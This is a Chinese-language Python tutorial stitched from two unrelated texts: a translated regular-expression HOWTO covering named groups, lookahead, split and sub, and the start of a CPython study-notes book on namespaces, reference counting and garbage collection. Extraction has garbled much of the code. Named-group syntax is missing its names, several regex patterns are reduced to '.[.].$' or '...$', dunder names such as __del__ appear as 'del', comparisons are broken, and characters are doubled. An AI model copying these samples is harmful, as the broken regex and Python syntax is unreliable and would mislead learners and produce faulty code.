Python 新增了一个扩展语法到 Perl 扩展语法中。如果在问号后的第一个字符是 "P",你就可以知道它是针对 Python 的扩展。目前有两个这样的扩展: (?P...) 定义一个命名组,(?P=name) 则是对命名组的逆向引用。如果 Perl 5 的未来版本使用不同的语法增加了相同的功能,那么 re 模块也将改变以支持新的语法,与此同时为了兼容性的目的而继续保持的 Python 专用语法。

现在我们看一下普通的扩展语法,我们回过头来简化在复杂 REs 中使用组运行的特性。因为组是从左到右编号的,而且一个复杂的表达式也许会使用许多组,它可以使跟踪当前组号变得困难,而修改如此复杂的 RE 是十分麻烦的。在开始时插入一个新组,你可以改变它之后的每个组号。

首先,有时你想用一个组去收集正则表达式的一部分,但又对组的内容不感兴趣。你可以用一个无捕获组: (?:...) 来实现这项功能,这样你可以在括号中发送任何其他正则表达式。
#!python

m = re.match("([abc])+", "abc")
m.groups()
('c',)
m = re.match("(?:[abc])+", "abc")
m.groups()
()
除了捕获匹配组的内容之外,无捕获组与捕获组表现完全一样;你可以在其中放置任何字符,可以用重复元字符如 "*" 来重复它,可以在其他组(无捕获组与捕获组)中嵌套它。(?:...) 对于修改已有组尤其有用,因为你可以不用改变所有其他组号的情况下添加一个新组。捕获组和无捕获组在搜索效率方面也没什么不同,没有哪一个比另一个更快。

其次,更重要和强大的是命名组;与用数字指定组不同的是,它可以用名字来指定。

命令组的语法是 Python 专用扩展之一: (?P...)。名字很明显是组的名字。除了该组有个名字之外,命名组也同捕获组是相同的。MatchObject 的方法处理捕获组时接受的要么是表示组号的整数,要么是包含组名的字符串。命名组也可以是数字,所以你可以通过两种方式来得到一个组的信息:
#!python

p = re.compile(r'(?P\b\w+\b)')
m = p.search( '(((( Lots of punctuation )))' )
m.group('word')
'Lots'
m.group(1)
'Lots'
命名组是便于使用的,因为它可以让你使用容易记住的名字来代替不得不记住的数字。这里有一个来自 imaplib 模块的 RE 示例:
#!python
InternalDate = re.compile(r'INTERNALDATE "'
r'(?P[ 123][0-9])-(?P[A-Z][a-z][a-z])-'
r'(?P[0-9][0-9][0-9][0-9])'
r' (?P[0-9][0-9]):(?P[0-9][0-9]):(?P[0-9][0-9])'
r' (?P[-+])(?P[0-9][0-9])(?P[0-9][0-9])'
r'"')
很明显,得到 m.group('zonem') 要比记住得到组 9 要容易得多。

因为逆向引用的语法,象 (...)\1 这样的表达式所表示的是组号,这时用组名代替组号自然会有差别。还有一个 Python 扩展:(?P=name) ,它可以使叫 name 的组内容再次在当前位置发现。正则表达式为了找到重复的单词,(\b\w+)\s+\1 也可以被写成 (?P\b\w+)\s+(?P=word):
#!python

p = re.compile(r'(?P\b\w+)\s+(?P=word)')
p.search('Paris in the the spring').group()
'the the'
前向界定符
另一个零宽界定符(zero-width assertion)是前向界定符。前向界定符包括前向肯定界定符和前项否定界定符,所下所示:
(?=...)
前向肯定界定符。如果所含正则表达式,以 ... 表示,在当前位置成功匹配时成功,否则失败。但一旦所含表达式已经尝试,匹配引擎根本没有提高;模式的剩余部分还要尝试界定符的右边。
(?!...)
前向否定界定符。与肯定界定符相反;当所含表达式不能在字符串当前位置匹配时成功

通过示范在哪前向可以成功有助于具体实现。考虑一个简单的模式用于匹配一个文件名,并将其通过 "." 分成基本名和扩展名两部分。如在 "news.rc" 中,"news" 是基本名,"rc" 是文件的扩展名。

匹配模式非常简单:
.[.].$
注意 "." 需要特殊对待,因为它是一个元字符;我把它放在一个字符类中。另外注意后面的 $; 添加这个是为了确保字符串所有的剩余部分必须被包含在扩展名中。这个正则表达式匹配 "foo.bar"、"autoexec.bat"、 "sendmail.cf" 和 "printers.conf"。

现在,考虑把问题变得复杂点;如果你想匹配的扩展名不是 "bat" 的文件名?一些不正确的尝试:
.[.][^b].$
上面的第一次去除 "bat" 的尝试是要求扩展名的第一个字符不是 "b"。这是错误的,因为该模式也不能匹配 "foo.bar"。
..$
当你试着修补第一个解决方法而要求匹配下列情况之一时表达式更乱了:扩展名的第一个字符不是 "b"; 第二个字符不是 "a";或第三个字符不是 "t"。这样可以接受 "foo.bar" 而拒绝 "autoexec.bat",但这要求只能是三个字符的扩展名而不接受两个字符的扩展名如 "sendmail.cf"。我们将在努力修补它时再次把该模式变得复杂。
.
.$
在第三次尝试中,第二和第三个字母都变成可选,为的是允许匹配比三个字符更短的扩展名,如 "sendmail.cf"。

该模式现在变得非常复杂,这使它很难读懂。更糟的是,如果问题变化了,你想扩展名不是 "bat" 和 "exe",该模式甚至会变得更复杂和混乱。

前向否定把所有这些裁剪成:
...$
前向的意思:如果表达式 bat 在这里没有匹配,尝试模式的其余部分;如果 bat$ 匹配,整个模式将失败。后面的 $ 被要求是为了确保象 "sample.batch" 这样扩展名以 "bat" 开头的会被允许。

将另一个文件扩展名排除在外现在也容易;简单地将其做为可选项放在界定符中。下面的这个模式将以 "bat" 或 "exe" 结尾的文件名排除在外。
...$
修改字符串
到目前为止,我们简单地搜索了一个静态字符串。正则表达式通常也用不同的方式,通过下面的 RegexObject 方法,来修改字符串。
方法/属性 作用
split() 将字符串在 RE 匹配的地方分片并生成一个列表,
sub() 找到 RE 匹配的所有子串,并将其用一个不同的字符串替换
subn() 与 sub() 相同,但返回新的字符串和替换次数
将字符串分片
RegexObject 的 split() 方法在 RE 匹配的地方将字符串分片,将返回列表。它同字符串的 split() 方法相似但提供更多的定界符;split()只支持空白符和固定字符串。就象你预料的那样,也有一个模块级的 re.split() 函数。
split(string [, maxsplit = 0])
通过正则表达式将字符串分片。如果捕获括号在 RE 中使用,那么它们的内容也会作为结果列表的一部分返回。如果 maxsplit 非零,那么最多只能分出 maxsplit 个分片。

你可以通过设置 maxsplit 值来限制分片数。当 maxsplit 非零时,最多只能有 maxsplit 个分片,字符串的其余部分被做为列表的最后部分返回。在下面的例子中,定界符可以是非数字字母字符的任意序列。
#!python

p = re.compile(r'\W+')
p.split('This is a test, short and sweet, of split().')
['This', 'is', 'a', 'test', 'short', 'and', 'sweet', 'of', 'split', '']
p.split('This is a test, short and sweet, of split().', 3)
['This', 'is', 'a', 'test, short and sweet, of split().']
有时,你不仅对定界符之间的文本感兴趣,也需要知道定界符是什么。如果捕获括号在 RE 中使用,那么它们的值也会当作列表的一部分返回。比较下面的调用:
#!python
p = re.compile(r'\W+')
p2 = re.compile(r'(\W+)')
p.split('This... is a test.')
['This', 'is', 'a', 'test', '']
p2.split('This... is a test.')
['This', '... ', 'is', ' ', 'a', ' ', 'test', '.', '']
模块级函数 re.split() 将 RE 作为第一个参数,其他一样。
#!python
re.split('[\W]+', 'Words, words, words.')
['Words', 'words', 'words', '']
re.split('([\W]+)', 'Words, words, words.')
['Words', ', ', 'words', ', ', 'words', '.', '']
re.split('[\W]+', 'Words, words, words.', 1)
['Words', 'words, words.']
搜索和替换
其他常见的用途就是找到所有模式匹配的字符串并用不同的字符串来替换它们。sub() 方法提供一个替换值,可以是字符串或一个函数,和一个要被处理的字符串。
sub(replacement, string[, count = 0])
返回的字符串是在字符串中用 RE 最左边不重复的匹配来替换。如果模式没有发现,字符将被没有改变地返回。

可选参数 count 是模式匹配后替换的最大次数;count 必须是非负整数。缺省值是 0 表示替换所有的匹配。

这里有个使用 sub() 方法的简单例子。它用单词 "colour" 替换颜色名。
#!python

p = re.compile( '(blue|white|red)')
p.sub( 'colour', 'blue socks and red shoes')
'colour socks and colour shoes'
p.sub( 'colour', 'blue socks and red shoes', count=1)
'colour socks and red shoes'
subn() 方法作用一样,但返回的是包含新字符串和替换执行次数的两元组。
#!python
p = re.compile( '(blue|white|red)')
p.subn( 'colour', 'blue socks and red shoes')
('colour socks and colour shoes', 2)
p.subn( 'colour', 'no colours at all')
('no colours at all', 0)
空匹配只有在它们没有紧挨着前一个匹配时才会被替换掉。
#!python
p = re.compile('x*')
p.sub('-', 'abxd')
'-a-b-d-'
如果替换的是一个字符串,任何在其中的反斜杠都会被处理。"\n" 将会被转换成一个换行符,"\r"转换成回车等等。未知的转义如 "\j" 则保持原样。逆向引用,如 "\6",被 RE 中相应的组匹配而被子串替换。这使你可以在替换后的字符串中插入原始文本的一部分。

这个例子匹配被 "{" 和 "}" 括起来的单词 "section",并将 "section" 替换成 "subsection"。
#!python

p = re.compile('section{ ( [^}]* ) }', re.VERBOSE)
p.sub(r'subsection{\1}','section{First} section{second}')
'subsection{First} subsection{second}'
还可以指定用 (?P...) 语法定义的命名组。"\g" 将通过组名 "name" 用子串来匹配,并且 "\g" 使用相应的组号。所以 "\g<2>" 等于 "\2",但能在替换字符串里含义不清,如 "\g<2>0"。("\20" 被解释成对组 20 的引用,而不是对后面跟着一个字母 "0" 的组 2 的引用。)
#!python
p = re.compile('section{ (?P [^}]* ) }', re.VERBOSE)
p.sub(r'subsection{\1}','section{First}')
'subsection{First}'
p.sub(r'subsection{\g<1>}','section{First}')
'subsection{First}'
p.sub(r'subsection{\g}','section{First}')
'subsection{First}'
替换也可以是一个甚至给你更多控制的函数。如果替换是个函数,该函数将会被模式中每一个不重复的匹配所调用。在每次调用时,函数会被传入一个 MatchObject 的对象作为参数,因此可以用这个对象去计算出替换字符串并返回它。

在下面的例子里,替换函数将十进制翻译成十六进制:
#!python

def hexrepl( match ):
... "Return the hex string for a decimal number"
... value = int( match.group() )
... return hex(value)
...
p = re.compile(r'\d+')
p.sub(hexrepl, 'Call 65490 for printing, 49152 for user code.')
'Call 0xffd2 for printing, 0xc000 for user code.'
当使用模块级的 re.sub() 函数时,模式作为第一个参数。模式也许是一个字符串或一个 RegexObject;如果你需要指定正则表达式标志,你必须要么使用 RegexObject 做第一个参数,或用使用模式内嵌修正器,如 sub("(?i)b+", "x", "bbbb BBBB") returns 'x x'。
常见问题
正则表达式对一些应用程序来说是一个强大的工具,但在有些时候它并不直观而且有时它们不按你期望的运行。本节将指出一些最容易犯的常见错误。
使用字符串方式
有时使用 re 模块是个错误。如果你匹配一个固定的字符串或单个的字符类,并且你没有使用 re 的任何象 IGNORECASE 标志的功能,那么就没有必要使用正则表达式了。字符串有一些方法是对固定字符串进行操作的,它们通常快很多,因为它们都是一个个经过优化的 C 小循环,用以代替大的、更具通用性的正则表达式引擎。

举个 用一个固定字符串替换另一个 的例子,如:你可以把 "deed" 替换成 "word"。re.sub() 似乎正是胜任这个工作的函数,但还是考虑考虑 replace() 方法吧。注意 replace() 也可以在单词里面进行替换,可以把 "swordfish" 变成 "sdeedfish"。不过 RE 也是可以做到的。(为了避免替换单词的一部分,模式将写成 \bword\b,这是为了要求 "word" 两边有一个单词边界。这是个超出 replace 能力的工作)。

另一个常见任务是从一个字符串中删除单个字符或用另一个字符来替代它。你也许可以用 re.sub('\n',' ', s) 这样来实现,但 translate() 能够实现这两个任务,而且比任何正则表达式操作起来更快。 (translate 需要配合 string.maketrans 使用。例如:import string 后 'a1b3'.translate(string.maketrans('ab', 'cd')) )

总之,在使用 re 模块之前,先考虑一下你的问题是否可以用更快、更简单的字符串方法来解决。
match() vs search()
match() 函数只检查 RE 是否在字符串开始处匹配,而 search() 则是扫描整个字符串。记住这一区别是重要的。记住,match() 只报告一次成功的匹配,它将从 0 处开始;如果匹配不是从 0 开始的,match() 将不会报告它。
#!python

print re.match('super', 'superstition').span()
(0, 5)
print re.match('super', 'insuperable')
None
另一方面,search() 将扫描整个字符串,并报告它找到的第一个匹配。
#!python
print re.search('super', 'superstition').span()
(0, 5)
print re.search('super', 'insuperable').span()
(2, 7)
有时你可能倾向于使用 re.match(),只在RE的前面部分添加 .* 。请尽量不要这么做,最好采用 re.search() 代替之。正则表达式编译器会对 REs 做一些分析以便可以在查找匹配时提高处理速度。一个那样的分析机会指出匹配的第一个字符是什么;举个例子,模式 Crow 必须从 "C" 开始匹配。分析机可以让引擎快速扫描字符串以找到开始字符,并只在 "C" 被发现后才开始全部匹配。
添加 .* 会使这个优化失败,这就要扫描到字符串尾部,然后回溯以找到 RE 剩余部分的匹配。使用 re.search() 代替。
贪婪 vs 不贪婪
当重复一个正则表达式时,如用 a,操作结果是尽可能多地匹配模式。当你试着匹配一对对称的定界符,如 html 标志中的尖括号时这个事实经常困扰你。匹配单个 HTML 标志的模式不能正常工作,因为 . 的本质是“贪婪”的
#!python
s = 'Title'
len(s)
32
print re.match('<.>', s).span()
(0, 32)
print re.match('<.
>', s).group()
Title
RE 匹配 在 "" 中的 "<",.* 消耗掉字符串的剩余部分。在 RE 中保持更多的左,虽然 > 不能匹配在字符串结尾,因此正则表达式必须一个字符一个字符地回溯,直到它找到 > 的匹配。最终的匹配从 "<html" 中的 "<" 到 "" 中的 ">",这并不是你所想要的结果。

在这种情况下,解决方案是使用不贪婪的限定符 *?、+?、?? 或 {m,n}?,尽可能匹配小的文本。在上面的例子里, ">" 在第一个 "<" 之后被立即尝试,当它失败时,引擎一次增加一个字符,并在每步重试 ">"。这个处理将得到正确的结果:
#!python

print re.match('<.*?>', s).group()

注意用正则表达式分析 HTML 或 XML 是痛苦的。变化混乱的模式将处理常见情况,但 HTML 和 XML 则是明显会打破正则表达式的特殊情况;当你编写一个正则表达式去处理所有可能的情况时,模式将变得非常复杂。象这样的任务用 HTML 或 XML 解析器。
粗体文字粗体文字'


不用 re.VERBOSE
现在你可能注意到正则表达式的表示是十分紧凑,但它们非常不好读。中度复杂的 REs 可以变成反斜杠、圆括号和元字符的长长集合,以致于使它们很难读懂。

在这些 REs 中,当编译正则表达式时指定 re.VERBOSE 标志是有帮助的,因为它允许你可以编辑正则表达式的格式使之更清楚。

re.VERBOSE 标志有这么几个作用。在正则表达式中不在字符类中的空白符被忽略。这就意味着象 dog | cat 这样的表达式和可读性差的 dog|cat 相同,但 [a b] 将匹配字符 "a"、"b" 或 空格。另外,你也可以把注释放到 RE 中;注释是从 "#" 到下一行。当使用三引号字符串时,可以使 REs 格式更加干净:
#!python
pat = re.compile(r"""
\s* # Skip leading whitespace
(?P

[^:]+) # Header name
\s* : # Whitespace, and a colon
(?P.*?) # The header's value -- *? used to

lose the following trailing whitespace

\s$ # Trailing whitespace to end-of-line
""", re.VERBOSE)
这个要难读得多:
#!python
pat = re.compile(r"\s
(?P

[^:]+)\s:(?P.?)\s*$")
反馈
正则表达式是一个复杂的主题。本文能否有助于你理解呢?哪些部分是否不清晰,或在这儿没有找到你所遇到的问题?如果是那样的话,请将建议发给作者以便改进。
描述正则表达式最全面的书非Jeffrey Friedl 写的《精通正则表达式》莫属,该书由O'Reilly 出版。可惜该书只专注于 Perl 和 Java 风格的正则表达式,不含任何 Python 材料,所以不足以用作Python编程时的参考。(第一版包含有 Python 现已过时的 regex 模块,自然用处不大)。
《精通正则表达式》第三版已经有部分正则表达式使用python说明,另外php风格的更是独立一个章节说明。--why

Python 学习笔记

python 学习笔记

全新编写的 python 笔记,作为《蟒原 —— Python 发现之旅》的配套资料。
和《蟒原》深入源码分析具体实现过程不同,本笔记力求简洁,用平直⽂文字和浅显⽰示例说明基本编
码操作。目的是为了便于阅读,以作日常复习之用。当然,如对某话题有兴趣,不妨和《蟒原》对
照着看,不仅能满⾜足好奇⼼心,还会有意外收获。毕竟 CPython 的开发⼈人员都是 "⽜牛⽜牛",其久经考
验的代码和理论有许多可学习借鉴之处。
• ⽰示例代码主要在 IPython、CPython 2.7 中编写。
• 为阅读⽅方便,代码和输出结果有所剪辑。
• 因版本和运行期环境不同,输出结果,尤其是内存地址会存在差异。
• 如不做特别说明,书中 Python 均指 CPython (www.python.org)。
• 第一部分主要讲述语言相关内容,不会涉及太多标准库内容。
• 本书不定期更新,可以到 github.com/qyuhen 下载。
如果您发现错漏,请与我联系,以便及时修正。谢谢!
代码测试环境:
• CPython 2.7, IPython 0.13
• MacBook Pro, 8GB, Mac OS X Lion 10.8.2

目录
第一部分 Python 语言 6
第 1 章 基本环境 7
1.1 虚拟机 7
1.2 类型和对象 7
1.3 名字空间 9
1.4 内存管理 11
1.5 编译 17
1.6 执行 19
第 2 章 内置类型 21
2.1 数字 21
2.2 字符串 24
2.3 列表 30
2.4 元组 32
2.5 字典 33
2.6 集合 37
第 3 章 表达式 40
3.1 句法规则 40
3.2 命名规则 42
3.3 赋值 43
3.4 表达式 44
3.5 运算符 48
3.6 类型转换 51
3.7 常用函数 52
第 4 章 函数 55
4
第 5 章 迭代器 56
第 6 章 模块 57
第 7 章 类 58
第 8 章 异常 59
第 9 章 描述符 60
第 10 章 装饰器 61
第 11 章 元类 62
第二部分 标准库 63
第三部分 扩展库 64
附录 65
5
第一部分 Python 语言
Python 语言相关……
6
第 1 章 基本环境
1.1 虚拟机
Python 是一种半编译半解释型运行环境。首先,它会在模块 "载入(或导入)" 时将源码编译成类似
字节码 (Byte code)。而后,这些字节码会被虚拟机在一个 "巨大" 的函数里解释执行。这是导致
Python 性能较低的重要原因,好在现在有了内置 Just-in-time 二次编译器的 PyPy 可供选择。
当虚拟机开始运行时,它通过初始化函数完成整个运行环境设置:
• 创建解释器和主线程状态对象,这是整个进程的根。
• 初始化内置类型。数字、列表等都有专⻔门的性能缓存策略需要处理。
• 创建 builtins 模块,这个模块持有所有内置类型和函数。
• 创建 sys 模块,其中包含了 sys.path、modules 等重要的运行期信息。
• 初始化 import 机制。
• 初始化内置 Exception。
• 创建 main 模块,准备运行所需的名字空间、还包括 name 等。
• 通过 site.py 将 site-packages 中的第三⽅方扩展库添加到 sys.path 搜索路径列表。
• 执行 py 源码。执行前会将 main.dict 作为名字空间传递进去。
• 源码执行结束。
• 执行清理动作,包括调用退出函数,GC 清理现场,释放所有导入模块等。
• 终⽌止进程。
对此有兴趣的可以阅读《蟒原》一书,其中有详细的代码分析。
1.2 类型和对象
先有类型 (Type),而后才能⽣生成实例对象 (Instance)。Python 中的一切都是对象,包括类型在内
的每个对象都包含一个标准头,通过头部信息就可以明确知道其具体类型。
头信息由 "引用计数" 和 "类型指针" 组成,前者在对象被引用时增加,超出作用域或⼿手⼯工释放后递
减。等于 0 时其内存被虚拟机回收 (某些被缓存的对象计数器永远不会为 0)。
以 int 为例,对应 Python 结构定义是:
#define PyObject_HEAD
Py_ssize_t ob_refcnt;
struct _typeobject *ob_type;
typedef struct _object {
PyObject_HEAD
} PyObject;
7
typedef struct {
PyObject_HEAD // 在 64 位平台上,头部⻓长度为 16 字节。
long ob_ival; // long 是 8 字节。
} PyIntObject;
可以用 sys 中的函数测试一下。

import sys
x = 0x1234 # 不要使用 [-5, 257) 之间的⼩小数字,它们有专⻔门的缓存机制。
sys.getsizeof(x) # 符合⻓长度预期。
24
sys.getrefcount(x) # sys.getrefcount() 读取头部引用计数,注意形参也会增加一次引用。
2
y = x
sys.getrefcount(x)
3
del y
sys.getrefcount(x)
2
类型指针则指向 Type 对象,其中包含了其继承关系以及静态成员 (⽐比如⽅方法) 信息。所有的内置类
型对象都能从 types 模块中找到,⾄至于 int、long、str 这些则是一种简短别名。
import types
x = 20
type(x) is types.IntType # is 通过指针判断是否指向同一对象。
True
x.class # class 通过类型指针来获取类型对象。
<type 'int'>
x.class is type(x) is int is types.IntType
True
y = x
hex(id(x)), hex(id(y)) # id 返回对象标识,其实就是内存地址。
('0x7fc5204103c0', '0x7fc5204103c0')
hex(id(int)), hex(id(types.IntType))
('0x1088cebd8', '0x1088cebd8')
8
除了 int 这样的固定⻓长度类型外,还有 long、str 这些变⻓长对象。其头部会多出一个记录元素项数
量的字段。⽐比如 str 的字节数量,list 列表的⻓长度等等。
#define PyObject_VAR_HEAD
PyObject_HEAD
Py_ssize_t ob_size; /* Number of items in variable part */
typedef struct {
PyObject_VAR_HEAD
} PyVarObject;
有关类型和对象更多的信息,将在后续章节中详述。
1.3 名字空间
名字空间是 Python 最核⼼心的内容,是必须要搞明⽩白的。
haha
NameError: name 'haha' is not defined
和 C 变量名是内存地址别名不同,Python 的名字实际上是一个字符串对象,它和目标对象一起在
名字空间中构成一个 name/object 关联项。名字空间决定了对象的作用域和⽣生存周期。
可以用内置函数 globals() 获取模块级别名字空间,locals() 获取当前上下⽂文,⽐比如函数、⽅方法内
部的名字空间。
x = 123
globals()
{'x': 123, ......}
可以看出,名字空间就是一个字典。也就说我们完全可以在名字空间添加项来创建 "变量"。
globals()["y"] = "Hello, World"
y
'Hello, World'
在 Python 源码中,有句话:Names have no type, but objects do.
名字的作用仅仅是在某个时刻与名字空间中的目标对象进行关联。名字并不包含目标对象的任何信
息,只有通过对象的类型指针才能获知其具体类别。正因为名字的弱类型特征,我们可以在运行期
随时将其关联到任何类型的对象。
y
'Hello, World'
type(y)
<type 'str'>
9
y = import("string")
type(y)
<type 'module'>
y.digits
'0123456789'
在函数外部 locals() 和 globals() 作用完全相同。而在函数内部调用时,locals() 则是获取当前堆
栈帧的名字空间,其中存储的是函数参数、局部变量等信息。
import sys
globals() is locals()
True
locals()
{
'builtins': <module 'builtin' (built-in)>,
'name': 'main',
'sys': <module 'sys' (built-in)>,
'doc': None,
'package': None
}
def test(x): # 请对⽐比下⾯面的输出内容。
... y = x + 100
... print locals() # 可以看到 locals 名字空间中包含当前局部变量。
... print globals() is locals() # 此时 locals 和 globals 指向不同名字空间。
... frame = sys._getframe(0) # _getframe() 可以获取调用堆栈链上的堆栈帧。
... print locals() is frame.f_locals # locals 名字空间实际就是当前堆栈帧的名字空间。
... print globals() is frame.f_globals # 通过 frame 我们也可以访问外部模块的名字空间。
test(123)
{'y': 223, 'x': 123}
False
True
True
在函数中调用 globals() 时,总是获取包含该函数定义的模块名字空间,而⾮非调用处。
pycat test.py
"""
Hello, World
"""
a = 1
def test():
10
print {k:v for k, v in globals().items() if k = "builtins"}
import test
test.test()
{
'a': 1,
'file': 'test.pyc',
'package': None,
'test': <function test at 0x10bd85e60>,
'name': 'test',
'doc': '\n Hello, World\n'
}
可以通过 .dict 访问其他模块的名字空间。
test.dict # test 模块的名字空间
{
'a': 1,
'file': 'test.pyc',
'package': None,
'test': <function test at 0x10bd85e60>,
'name': 'test',
'doc': '\n Hello, World\n'
}
import sys
sys.modules[name].dict is globals() # 当前模块名字空间和 globals 相同。
True
函数的名字空间还会涉及到 LEGB 查找规则,以及超出作用域等问题。而对象成员则另有一套名字
空间。所有这些问题,将在相关章节中做出说明。
透过名字空间来管理上下⽂文对象,带了⽆无与伦⽐比的灵活性,但也牺牲了部分性能。毕竟从一个 dict
查找对象远⽐比指针要低效许多。各有得失!
1.4 内存管理
为了提升性能,Python 在内存管理上做了大量⼯工作。最直接的做法就是用内存池来减少操作系统
内存分配和回收操作,那些⼩小于等于 256 字节对象,将直接从内存池中获取存储空间。
根据需要,Python 每次会从操作系统分配一块 256KB,名为 arena 的大块内存。进而按系统⻚页大
⼩小,分成多个 pool。每个 pool 用于存储一种大⼩小规格 (8 字节的倍数) 对象。pool 里⾯面存储对象
的⼩小块内存被叫做 block,这是内存池的最⼩小单位。所有这些都用头信息和链表管理起来,以便于
11
快速查找和分配。⽐比如存储 13 字节大⼩小的对象时,就先找到 16 字节容量规格的可用 pool,并从
其中获取一块空闲的 block。
大于 256 字节的对象,直接用 malloc/free 在堆上分配内存。绝大多数对象都⼩小于这个阀值,因
此内存池策略可有效提升性能。
arena 的数量总数是有限制的,当总容量超出特定限制 (默认是 64MB) 时,就不再请求分配 arena
内存。而是如同大对象一样,直接在堆上分配对象内存。另外,arena 不再使用时,会被虚拟机释
放,将内存交还给操作系统。
引用传递
在 Python 中,对象总是引用传递的。也就是说通过复制对象指针来实现多个名字指向同一个对
象。因为 arena 也是在 Heap 上分配的,所以⽆无论何种类型何种大⼩小的对象,总是存储在 heap
上。Python 也没有值类型和引用类型一说,就算是一个简单的整数也拥有标准头。
a = object()
b = a
a is b
True
hex(id(a)), hex(id(b)) # 地址相同,意味着对象是同一个。
('0x10b1f5640', '0x10b1f5640')
def test(x):
... print hex(id(x))
...
test(a)
0x10b1f5640 # 地址依旧相同。
如果不希望对象被修改,那么需要不可变类型,或者是对象复制品。
不可变类型:int, long, str, tuple, frozenset
除了某些类型⾃自带的 copy ⽅方法外,还可以:
• 使用标准库的 copy 模块,它⽀支持深度复制。
• 对象序列化,⽐比如标准库中的 pickle、cPickle、marshal。
下⾯面的测试建议不要用数字等不可变对象,因为可能会被其内部的缓存和复用机制干扰。
import copy
x = object()
l = [x] # 创建一个列表。
12
l2 = copy.copy(l) # 浅复制,仅复制对象⾃自⾝身,而不会递归复制其成员。
l2 is l, l2[] is x # 可以看到复制列表的元素依然是原对象。
(False, True)
l3 = copy.deepcopy(l) # 深度复制,会递归复制所有深度成员。
l3 is l, l3[] is x # 列表元素也被复制了。
(False, False)
循环引用等问题会影响 deepcopy 函数的运作,建议仔细阅读官⽅方⽂文档。
引用计数
Python 默认通过引用计数来管理对象的内存回收。当引用计数为 0 时,虚拟机将 "⽴立即" 回收对象
内存,要么将对应的 block 块标记为空闲,要么返还给操作系统。
我们可以用 del 监控对象被回收。
class User(object):
... def del(self):
... print "Will be dead"
...
a = User()
b = a
import sys
sys.getrefcount(a)
3
del a # 删除引用,计数减⼩小。
sys.getrefcount(b)
2
del b # 删除最后一个引用,计数器为 0,对象被回收。
Will be dead
某些内置类型,⽐比如⼩小整数什么的,因为缓存的缘故,计数器永远不会为 0,直到进程结束时才由
相应的虚拟机清理函数释放。
除了直接引用外,Python 还⽀支持弱引用。允许在不增加引用计数,也就是不妨碍对象回收的情况
下间接引用对象。(不是所有类型都⽀支持弱引用,诸如 list、dict、object 这些,弱引用会引发异
常,详情请参考标准库⽂文档或本书第二部分)
我们改用弱引用回调监控对象回收。
class User(object): pass
13
a = User()
import weakref
def callback(r): # 回调函数会在原对象被回收时调用。
... print "weakref object:", r
... print "target object dead"
...
r = weakref.ref(a, callback) # 创建弱引用对象。
import sys
sys.getrefcount(a) # 可以看到弱引用没有导致目标对象引用计数增加。
2 # 2 是因为 getrefcount 形参造成的。
r() is a # 透过弱引用可以访问原对象。
True
del a # 原对象回收,callback 被调用。
weakref object: <weakref at 0x10f99a368; dead>
target object dead
hex(id(r)) # 通过对⽐比,可以看到 callback 参数是弱引用对象。
'0x10f99a368' # 因为原对象已经死亡。
r() is None # 此时,弱引用只能返回 None。这样也能判断原对象死亡。
True
引用计数是一种简单直接,并且⼗十分⾼高效的内存回收⽅方式。大多数时候它都能很好地⼯工作,除了因
循环引用造成的计数故障。简单明显的循环引用,可以用弱引用打破这种循环关系。但在实际开发
中,循环引用的形成往往很复杂,可能由 n 个对象间接形成一个大的循环体,此时只有等待 GC 去
回收了。
垃圾回收
事实上,Python 拥有两套垃圾回收机制。除了引用计数外,还有一个专⻔门处理循环引用的 GC。通
常我们提到垃圾回收,都是指这个 "Reference Cycle Garbage Collection"。
能引发循环引用问题的,都是那种 "容器" 类对象,⽐比如 list、set、object 等。对于这类对象,虚
拟机在为其分配内存时,会额外添加一个用于追踪的 PyGC_Head。这些被追踪对象会被添加到一
个链上,以便 GC 进行管理。
typedef union _gc_head {
struct {
union _gc_head *gc_next;
union _gc_head gc_prev;
Py_ssize_t gc_refs;
14
} gc;
long double dummy;
} PyGC_Head;
当然,这类对象不一定就⾮非得要 GC 才能回收。如果不存在循环引用,⾃自然是积极性更⾼高的引用计
数机制抢先给咔嚓掉。也就是说,只要保证不存在循环引用,理论上是可以禁用 GC 的。当执行某
些密集运算时,临时关掉 GC 可能会有较大的性能提升。
import gc
class User(object):
... def del(self):
... print hex(id(self)), "will be dead"
...
gc.disable() # 关掉 GC
a = User()
del a # 对象正常回收,引用计数不会依赖 GC。
0x10fddf590 will be dead
同 .NET、JAVA 一样,Python GC 同样将要回收的对象分成 3 级代龄。gen0 表⽰示最年⻘青的对象,
也就是那些刚刚被盯上的家伙们。每级代龄都有一个最大容量阀值,当 gen0 对象数量超过其阀值
时,将引发垃圾回收操作。
#define NUM_GENERATIONS 3
/
linked lists of container objects /
static struct gc_generation generations[NUM_GENERATIONS] = {
/
PyGC_Head, threshold, count */
{{{GEN_HEAD(0), GEN_HEAD(0), 0}}, 700, 0},
{{{GEN_HEAD(1), GEN_HEAD(1), 0}}, 10, 0},
{{{GEN_HEAD(2), GEN_HEAD(2), 0}}, 10, 0},
};
回收从 gen2 开始检查,如果阀值被突破,那么开始合并 gen2、gen1、gen0 ⼏几个追踪链表,将
存活的对象提升代龄,而那些可回收对象则被打破循环引用,放到一个专⻔门的列表等待回收。
gc.get_threshold() # 获取各级代龄阀值
(700, 10, 10)
gc.get_count() # 各级代龄链表跟踪的对象数量
(203, 0, 5)
需要特别注意的就是那些包含 del 的对象,因为回收前必须调用该⽅方法。而且它们还会牵连到
被其引用的对象,造成延迟释放。如果它同时存在循环引用,那么就永远不会被回收,直到进程终
⽌止。
15
这回我们不能偷懒用 del 监控对象回收了,改用 weakref。(貌似 IPython 对 GC 有些干扰,
下⾯面的测试代码建议在 Python 原⽣生 shell 中测试)
import gc, weakref
class User(object): pass
def callback(r): print r, "dead"
gc.disable() # 停掉 GC,看看引用计数的能力。
a = User(); wa = weakref.ref(a, callback)
b = User(); wb = weakref.ref(b, callback)
a.b = b; b.a = a # 形成循环引用关系。
del a; del b # 删除名字引用。
wa(), wb() # 显然,计数机制对循环引用⽆无效。
(<main.User object at 0x1045f4f50>, <main.User object at 0x1045f4f90>)
gc.enable() # 开启 GC。
gc.isenabled() # 可以用 isenabled 确认。
True
gc.collect() # 因为没有达到阀值,我们⼿手⼯工启动回收。
<weakref at 0x1045a8cb0; dead> dead # GC 的确有对付基友的能力。
<weakref at 0x1045a8db8; dead> dead # 这个地址是弱引用对象的,别犯糊涂。
可一旦有了 del,GC 就拿循环引用没办法了。
import gc, weakref
class User(object):
... def del(self): pass # 难道连空的 del 也不行?
def callback(r): print r, "dead"
gc.set_debug(gc.DEBUG_STATS | gc.DEBUG_LEAK) # 输出更详细的回收状态信息。
gc.isenabled() # 确保 GC 在⼯工作。
True
a = User(); wa = weakref.ref(a, callback)
b = User(); wb = weakref.ref(b, callback)
a.b = b; b.a = a
del a; del b
